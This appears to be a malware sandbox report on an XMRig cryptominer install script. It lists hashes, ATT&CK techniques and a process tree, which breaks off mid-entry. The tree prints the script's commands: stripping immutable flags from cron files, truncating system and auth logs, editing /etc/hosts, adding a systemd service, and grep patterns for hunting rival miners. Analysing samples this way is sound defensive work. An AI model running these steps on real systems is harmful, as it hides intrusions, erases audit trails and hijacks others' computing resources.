xmrig | cd164a8cba9df2e7ba3be499a5fbe779db668cd54a476990922b99a22f0b1910

Analysis

max time kernel
41s
max time network
118s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/08/2026, 03:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.sh
Size 100KB
Sample260811-dqergseq8w
SHA256 cd164a8cba9df2e7ba3be499a5fbe779db668cd54a476990922b99a22f0b1910
MD5 a49eb8ca8a572c7885a44c956414e537
SHA1 11bc1e3c325841d0f6a6aec95c2e9f6bddbf4261
SHA512 0fc48c276ea9946cd60d6bdd038ec7b4dd1a17082d1d4ae8434daab652bc90bc88aced8189495a37bb78967f4a2123d8228d54e7a2a789cf3b9e67e017dd7b5b
SSDEEP 1536:9Yi0ffmRW1/ZwDR6AUL8rDGJ60DkcE4racsEf:TcfmRW1m6AUL8rDGJ69sracNf
TLSH
T192A3A8B2B550C17039B8C17C668B51506A4A703B355C382874AFB91C7FEC758A1FABBE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

antivm defense_evasion discovery execution xmrig miner persistence privilege_escalation

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/fstream-13.dat	family_xmrig
behavioral2/files/fstream-13.dat	xmrig

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1932	chmod
1933	chmod
1934	chmod
1935	chmod

Indicator Removal: File Deletion 1 TTPs 1 IoCs

Adversaries may remove indicators of compromise from the host to evade detection.

defense_evasion

File Deletion

T1070.004

pid	Process
2087	shred

Deletes system logs 1 TTPs 2 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/syslog	install.sh
File truncated	/var/log/messages	install.sh

Modifies the /etc/hosts DNS resolution file 1 TTPs 2 IoCs

Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/hosts	install.sh
File opened for modification	/etc/hosts	cp

Deletes log files 1 TTPs 5 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/btmp	install.sh
File truncated	/var/log/lastlog	install.sh
File truncated	/var/log/auth.log	install.sh
File truncated	/var/log/kern.log	install.sh
File truncated	/var/log/wtmp	install.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/ssl-compat.service	install.sh

Removes the immutable protection flag from a file 1 TTPs 22 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1881	apt-get
683	chattr
1717	chattr
1718	chattr
1739	iptables
1753	iptables
1881	apt-get
684	chattr
1716	chattr
1735	iptables
1737	iptables
1751	iptables
1880	timeout
680	chattr
686	chattr
1745	iptables
1741	iptables
1743	iptables
1747	iptables
1749	iptables
1881	apt-get
1881	apt-get

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 5 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/14/cmdline	pgrep
File opened for reading	/proc/26/status	pgrep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/583/status	pgrep
File opened for reading	/proc/25/status	pgrep
File opened for reading	/proc/16/cmdline	pgrep
File opened for reading	/proc/22/cmdline	pgrep
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/17/status	pgrep
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/713/status	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/1/status	pgrep
File opened for reading	/proc/5/status	pgrep
File opened for reading	/proc/8/cmdline	pgrep
File opened for reading	/proc/43/comm	cat
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/3/cmdline	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/20/cmdline	pgrep
File opened for reading	/proc/306/cmdline	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/17/status	pgrep
File opened for reading	/proc/318/status	pgrep
File opened for reading	/proc/41/status	pgrep
File opened for reading	/proc/302/cmdline	pgrep
File opened for reading	/proc/650/cmdline	pgrep
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/43/status	pgrep
File opened for reading	/proc/106/cmdline	pgrep
File opened for reading	/proc/228/cmdline	pgrep
File opened for reading	/proc/96/status	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/573/status	pgrep
File opened for reading	/proc/649/comm	cat
File opened for reading	/proc/41/cmdline	pgrep
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/605/cmdline	pgrep
File opened for reading	/proc/26/cmdline	pgrep
File opened for reading	/proc/778/status	pgrep
File opened for reading	/proc/8/cmdline	pgrep
File opened for reading	/proc/25/status	pgrep
File opened for reading	/proc/640/status	pgrep
File opened for reading	/proc/318/cmdline	pgrep
File opened for reading	/proc/21/status	pgrep
File opened for reading	/proc/670/cmdline	pgrep
File opened for reading	/proc/644/cmdline	pgrep
File opened for reading	/proc/13/cmdline	pgrep
File opened for reading	/proc/43/cmdline	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/18/status	pgrep
File opened for reading	/proc/26/status	pgrep
File opened for reading	/proc/17/fd	ss
File opened for reading	/proc/27/cmdline	pgrep
File opened for reading	/proc/17/status	pgrep
File opened for reading	/proc/104/cmdline	pgrep
File opened for reading	/proc/297/cmdline	pgrep
File opened for reading	/proc/26/status	pgrep
File opened for reading	/proc/8/status	pgrep
File opened for reading	/proc/22/cmdline	pgrep
File opened for reading	/proc/5/fd	ss
File opened for reading	/proc/41/comm	cat
File opened for reading	/proc/14/cmdline	pgrep

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fileutl.message.MQGVfs	apt-cache
File opened for modification	/tmp/fileutl.message.AfKhuu	apt-cache
File opened for modification	/tmp/fileutl.message.WYNjOT	apt-get
File opened for modification	/tmp/sh-thd.0vEddG	install.sh
File opened for modification	/tmp/.crn.651	install.sh
File opened for modification	/tmp/.dcrn.651	install.sh
File opened for modification	/tmp/.okcrn.651	install.sh
File opened for modification	/tmp/fileutl.message.U3s7Ni	apt-get
File opened for modification	/tmp/fileutl.message.aSmnBt	apt-get
File opened for modification	/tmp/fileutl.message.Q9GAkH	apt-get
File opened for modification	/tmp/install.sh	shred
File opened for modification	/tmp/fileutl.message.ymtNyM	apt-cache
File opened for modification	/tmp/fileutl.message.8Xrk78	apt-cache
File opened for modification	/tmp/fileutl.message.lt0xjV	apt-cache
File opened for modification	/tmp/fileutl.message.0cLS9o	apt-cache
File opened for modification	/tmp/sh-thd.RnCOz9	install.sh
File opened for modification	/tmp/fileutl.message.UQ8uJI	apt-cache
File opened for modification	/tmp/fileutl.message.fXhZ2y	apt-cache

Software Deployment Tools 1 TTPs 1 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
1881	apt-get

/tmp/install.sh
/tmp/install.sh
1⤵
- Deletes system logs
- Modifies the /etc/hosts DNS resolution file
- Deletes log files
- Modifies systemd
- Writes file to tmp directory
PID:651
- /usr/bin/dirname
  dirname /tmp/install.sh
  2⤵
  PID:661
- /usr/bin/basename
  basename /tmp/install.sh
  2⤵
  PID:664
- /usr/bin/id
  id -u
  2⤵
  PID:668
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:680
- /usr/bin/chattr
  chattr -R -ia /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:683
- /usr/bin/chattr
  chattr -R -ia /etc/cron.d
  2⤵
  - Removes the immutable protection flag from a file
  PID:684
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron/crontabs
  2⤵
  - Removes the immutable protection flag from a file
  PID:686
- /usr/bin/pgrep
  pgrep -f /dev/shm/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:688
- /usr/bin/pgrep
  pgrep -f /dev/shm/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:690
- /usr/bin/pgrep
  pgrep -f /dev/shm/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:693
- /usr/bin/pgrep
  pgrep -f /dev/shm/idle
  2⤵
  - Reads CPU attributes
  PID:695
- /usr/bin/pgrep
  pgrep -f /dev/shm/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:697
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/javaa
  2⤵
  - Reads CPU attributes
  PID:699
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/cron
  2⤵
  - Reads runtime system information
  PID:701
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/kworker
  2⤵
  - Reads CPU attributes
  PID:703
- /usr/bin/pgrep
  pgrep -f /etc/javaa
  2⤵
  - Reads CPU attributes
  PID:705
- /usr/bin/pgrep
  pgrep -f /etc/cron
  2⤵
  PID:707
- /usr/bin/pgrep
  pgrep -f /etc/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:709
- /usr/bin/pgrep
  pgrep -f /etc/idle
  2⤵
  - Reads CPU attributes
  PID:711
- /usr/bin/pgrep
  pgrep -f /etc/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:713
- /usr/bin/pgrep
  pgrep -f /tmp/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:715
- /usr/bin/pgrep
  pgrep -f /tmp/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:717
- /usr/bin/pgrep
  pgrep -f /tmp/kworker
  2⤵
  - Reads runtime system information
  PID:719
- /usr/bin/pgrep
  pgrep -f /tmp/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:721
- /usr/bin/pgrep
  pgrep -f /tmp/ksmd
  2⤵
  - Reads CPU attributes
  PID:723
- /usr/bin/pgrep
  pgrep -f /var/tmp/javaa
  2⤵
  - Reads CPU attributes
  PID:725
- /usr/bin/pgrep
  pgrep -f /var/tmp/cron
  2⤵
  - Reads CPU attributes
  PID:730
- /usr/bin/pgrep
  pgrep -f /var/tmp/kworker
  2⤵
  - Reads CPU attributes
  PID:735
- /usr/bin/pgrep
  pgrep -f /app/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:739
- /usr/bin/pgrep
  pgrep -f /app/cron
  2⤵
  - Reads CPU attributes
  PID:745
- /usr/bin/pgrep
  pgrep -f /app/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:749
- /usr/bin/pgrep
  pgrep -f /app/gitea/javaa
  2⤵
  - Reads CPU attributes
  PID:754
- /usr/bin/pgrep
  pgrep -f /app/gitea/cron
  2⤵
  PID:759
- /usr/bin/pgrep
  pgrep -f /app/gitea/kworker
  2⤵
  PID:763
- /usr/bin/pgrep
  pgrep -f /app/gitea/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:768
- /usr/bin/pgrep
  pgrep -f /app/gitea/ksmd
  2⤵
  PID:773
- /usr/bin/pgrep
  pgrep -f /data/gitea/javaa
  2⤵
  - Reads runtime system information
  PID:779
- /usr/bin/pgrep
  pgrep -f /data/gitea/cron
  2⤵
  - Reads CPU attributes
  PID:786
- /usr/bin/pgrep
  pgrep -f /data/gitea/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:791
- /usr/bin/pgrep
  pgrep -x javaa
  2⤵
  - Reads runtime system information
  PID:796
- /usr/bin/pgrep
  pgrep -x javab
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:799
- /usr/bin/pgrep
  pgrep -x linuxsys
  2⤵
  - Reads CPU attributes
  PID:802
- /usr/bin/pgrep
  pgrep -f "\\./XX[A-Za-z]"
  2⤵
  - Reads CPU attributes
  PID:804
- /usr/bin/pgrep
  pgrep -f esocket4
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:806
- /usr/bin/pgrep
  pgrep -f /tmp/bobs
  2⤵
  - Reads CPU attributes
  PID:808
- /usr/bin/pgrep
  pgrep -f "[a-z]+-[0-9a-f]{8}"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:810
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_sys_health"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:812
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_cron_health"
  2⤵
  - Reads CPU attributes
  PID:814
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_"
  2⤵
  - Reads CPU attributes
  PID:816
- /usr/bin/pgrep
  pgrep -f -- "\\.\\/lol"
  2⤵
  - Reads CPU attributes
  PID:818
- /usr/bin/pgrep
  pgrep -f -- --donate-level
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:820
- /usr/bin/pgrep
  pgrep -x systemd-devd
  2⤵
  - Reads CPU attributes
  PID:822
- /usr/bin/pgrep
  pgrep -x syslog-helper
  2⤵
  - Reads runtime system information
  PID:824
- /usr/bin/pgrep
  pgrep -x kmod-cache-update
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:826
- /usr/bin/pgrep
  pgrep -f /usr/local/lib/.dbus/syslog-helper
  2⤵
  - Reads runtime system information
  PID:828
- /usr/bin/pgrep
  pgrep -f /data/gitea/home/.cache/kmod-cache/kmod-cache-update
  2⤵
  - Reads CPU attributes
  PID:830
- /usr/bin/pgrep
  pgrep -f /data/gitea/home/.universal-miner/xmrig
  2⤵
  - Reads CPU attributes
  PID:832
- /usr/bin/pgrep
  pgrep -x unicorn
  2⤵
  - Reads CPU attributes
  PID:836
- /usr/bin/pgrep
  pgrep -x lol
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:841
- /bin/rm
  rm -f /etc/cron.d/javaa
  2⤵
  PID:845
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:847
- /bin/grep
  grep -qiE "kworker|javaa|ksmd|javab" /tmp/.crn.651
  2⤵
  PID:850
- /bin/rm
  rm -f /tmp/.crn.651
  2⤵
  PID:852
- /usr/bin/id
  id -u
  2⤵
  PID:853
- /bin/grep
  grep -qF 34.70.205.211 /etc/hosts
  2⤵
  PID:856
- /bin/grep
  grep -qF 69.30.251.156 /etc/hosts
  2⤵
  PID:857
- /bin/grep
  grep -qF kworker.eth.limo /etc/hosts
  2⤵
  PID:859
- /bin/grep
  grep -qF kworker.eth.link /etc/hosts
  2⤵
  PID:861
- /bin/grep
  grep -qF 216.98.10.60 /etc/hosts
  2⤵
  PID:862
- /usr/bin/pgrep
  pgrep -f xmrig
  2⤵
  - Reads runtime system information
  PID:866
- /usr/bin/pgrep
  pgrep -f ccminer
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:870
- /usr/bin/pgrep
  pgrep -f SRBMiner-MULTI
  2⤵
  - Reads CPU attributes
  PID:875
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:878
- /bin/grep
  grep -qF universal-mine-watchdog /tmp/.dcrn.651
  2⤵
  PID:880
- /bin/rm
  rm -f /tmp/.dcrn.651
  2⤵
  PID:883
- /usr/bin/id
  id -u
  2⤵
  PID:884
- /bin/grep
  grep -qF gulf.moneroocean.stream /etc/hosts
  2⤵
  PID:886
- /bin/grep
  grep -qF verushash.eu.mine.zpool.ca /etc/hosts
  2⤵
  PID:888
- /usr/bin/pgrep
  pgrep -x unicorn
  2⤵
  - Reads CPU attributes
  PID:890
- /usr/bin/pgrep
  pgrep -x CRON
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:892
- /usr/bin/pgrep
  pgrep -x jobs
  2⤵
  - Reads CPU attributes
  PID:894
- /usr/bin/pgrep
  pgrep -x pwb
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:896
- /usr/bin/pgrep
  pgrep -f "apt-update\\.com"
  2⤵
  - Reads runtime system information
  PID:898
- /usr/bin/pgrep
  pgrep -f "joker\\.aec944b"
  2⤵
  - Reads runtime system information
  PID:900
- /usr/bin/pgrep
  pgrep -f "\\.claude/unicorn"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:902
- /usr/bin/pgrep
  pgrep -f "\\.claude/CRON"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:904
- /usr/bin/pgrep
  pgrep -f "\\.claude/jobs"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:906
- /usr/bin/pgrep
  pgrep -f "\\.claude/config\\.json"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:908
- /usr/bin/pgrep
  pgrep -f "\\.claude/pwb"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:910
- /usr/bin/pgrep
  pgrep -f "base64 -d \\| bash"
  2⤵
  - Reads CPU attributes
  PID:912
- /usr/bin/pgrep
  pgrep -f "DL_FILE.*joker\\.aec944b"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:914
- /usr/bin/pgrep
  pgrep -f "DL_URI.*lnx.*64.*aes"
  2⤵
  PID:916
- /usr/bin/pgrep
  pgrep -f "XR_BIN.*unicorn"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:918
- /usr/bin/pgrep
  pgrep -f "XMRIG.*unicorn"
  2⤵
  - Reads CPU attributes
  PID:920
- /usr/bin/pgrep
  pgrep -f "SYS_OS_TYPE.*SYS_OS_ARCH.*DL_BINARY"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:922
- /usr/bin/pgrep
  pgrep -f "SEC_AES_DEC.*9AA0CDEF"
  2⤵
  - Reads CPU attributes
  PID:924
- /usr/bin/pgrep
  pgrep -f "XR_CONFIG.*95\\.85\\.237"
  2⤵
  - Reads CPU attributes
  PID:926
- /bin/grep
  grep 95.85.237.226
  2⤵
  PID:929
- /bin/ss
  ss -tnp
  2⤵
  - Reads runtime system information
  PID:928
- /bin/sed
  sed -n "s/.*pid=\\([0-9]*\\).*/\\1/p"
  2⤵
  PID:930
- /usr/bin/sort
  sort -u
  2⤵
  PID:931
- /bin/grep
  grep 193.41.68.194
  2⤵
  PID:938
- /bin/ss
  ss -tnp
  2⤵
  PID:937
- /usr/bin/sort
  sort -u
  2⤵
  PID:940
- /bin/sed
  sed -n "s/.*pid=\\([0-9]*\\).*/\\1/p"
  2⤵
  PID:939
- /bin/grep
  grep 95.85.237.149
  2⤵
  PID:943
- /bin/ss
  ss -tnp
  2⤵
  PID:942
- /bin/sed
  sed -n "s/.*pid=\\([0-9]*\\).*/\\1/p"
  2⤵
  PID:944
- /usr/bin/sort
  sort -u
  2⤵
  PID:945
- /bin/grep
  grep 2.26.99.68
  2⤵
  PID:948
- /bin/ss
  ss -tnp
  2⤵
  - Reads runtime system information
  PID:947
- /bin/sed
  sed -n "s/.*pid=\\([0-9]*\\).*/\\1/p"
  2⤵
  PID:949
- /usr/bin/sort
  sort -u
  2⤵
  PID:950
- /usr/bin/basename
  basename /proc/1/
  2⤵
  PID:951
- /bin/cat
  cat /proc/1//comm
  2⤵
  PID:953
- /bin/readlink
  readlink /proc/1//exe
  2⤵
  PID:955
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:957
- /bin/grep
  grep -F .claude/
  2⤵
  PID:960
- /bin/ls
  ls -l /proc/1//fd
  2⤵
  PID:959
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:962
- /usr/bin/basename
  basename /proc/10/
  2⤵
  PID:963
- /bin/cat
  cat /proc/10//comm
  2⤵
  PID:965
- /bin/readlink
  readlink /proc/10//exe
  2⤵
  PID:967
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:969
- /bin/grep
  grep -F .claude/
  2⤵
  PID:972
- /bin/ls
  ls -l /proc/10//fd
  2⤵
  PID:971
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:974
- /usr/bin/basename
  basename /proc/104/
  2⤵
  PID:975
- /bin/cat
  cat /proc/104//comm
  2⤵
  PID:977
- /bin/readlink
  readlink /proc/104//exe
  2⤵
  PID:979
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:981
- /bin/grep
  grep -F .claude/
  2⤵
  PID:984
- /bin/ls
  ls -l /proc/104//fd
  2⤵
  PID:983
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:986
- /usr/bin/basename
  basename /proc/106/
  2⤵
  PID:987
- /bin/cat
  cat /proc/106//comm
  2⤵
  PID:989
- /bin/readlink
  readlink /proc/106//exe
  2⤵
  PID:991
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:993
- /bin/grep
  grep -F .claude/
  2⤵
  PID:996
- /bin/ls
  ls -l /proc/106//fd
  2⤵
  PID:995
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:998
- /usr/bin/basename
  basename /proc/107/
  2⤵
  PID:999
- /bin/cat
  cat /proc/107//comm
  2⤵
  PID:1001
- /bin/readlink
  readlink /proc/107//exe
  2⤵
  PID:1003
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1005
- /bin/ls
  ls -l /proc/107//fd
  2⤵
  PID:1007
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1008
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1010
- /usr/bin/basename
  basename /proc/11/
  2⤵
  PID:1011
- /bin/cat
  cat /proc/11//comm
  2⤵
  PID:1013
- /bin/readlink
  readlink /proc/11//exe
  2⤵
  PID:1015
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1017
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1020
- /bin/ls
  ls -l /proc/11//fd
  2⤵
  PID:1019
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1022
- /usr/bin/basename
  basename /proc/12/
  2⤵
  PID:1023
- /bin/cat
  cat /proc/12//comm
  2⤵
  PID:1025
- /bin/readlink
  readlink /proc/12//exe
  2⤵
  PID:1027
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1029
- /bin/ls
  ls -l /proc/12//fd
  2⤵
  PID:1031
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1032
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1034
- /usr/bin/basename
  basename /proc/13/
  2⤵
  PID:1035
- /bin/cat
  cat /proc/13//comm
  2⤵
  PID:1037
- /bin/readlink
  readlink /proc/13//exe
  2⤵
  PID:1039
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1041
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1044
- /bin/ls
  ls -l /proc/13//fd
  2⤵
  PID:1043
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1046
- /usr/bin/basename
  basename /proc/134/
  2⤵
  PID:1047
- /bin/cat
  cat /proc/134//comm
  2⤵
  PID:1049
- /bin/readlink
  readlink /proc/134//exe
  2⤵
  PID:1051
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1053
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1056
- /bin/ls
  ls -l /proc/134//fd
  2⤵
  PID:1055
- /bin/grep
  grep -qiE "apt-update\\.com|joker\\.aec944b|\\.claude/|DL_URI|SEC_AES_DEC|XR_CONFIG|PWN_EXEC.*pwb"
  2⤵
  PID:1058
- /usr/bin/basename
  basename /proc/14/
  2⤵
  PID:1059
- /bin/cat
  cat /proc/14//comm
  2⤵
  PID:1061
- /bin/readlink
  readlink /proc/14//exe
  2⤵
  PID:1063
- /usr/bin/tr
  tr "\\0" " "
  2⤵
  PID:1065
- /bin/grep
  grep -F .claude/
  2⤵
  PID:1068
- /bin/ls
  ls -l /proc/14//fd
  2⤵
  PID:1067
- /bin/grep
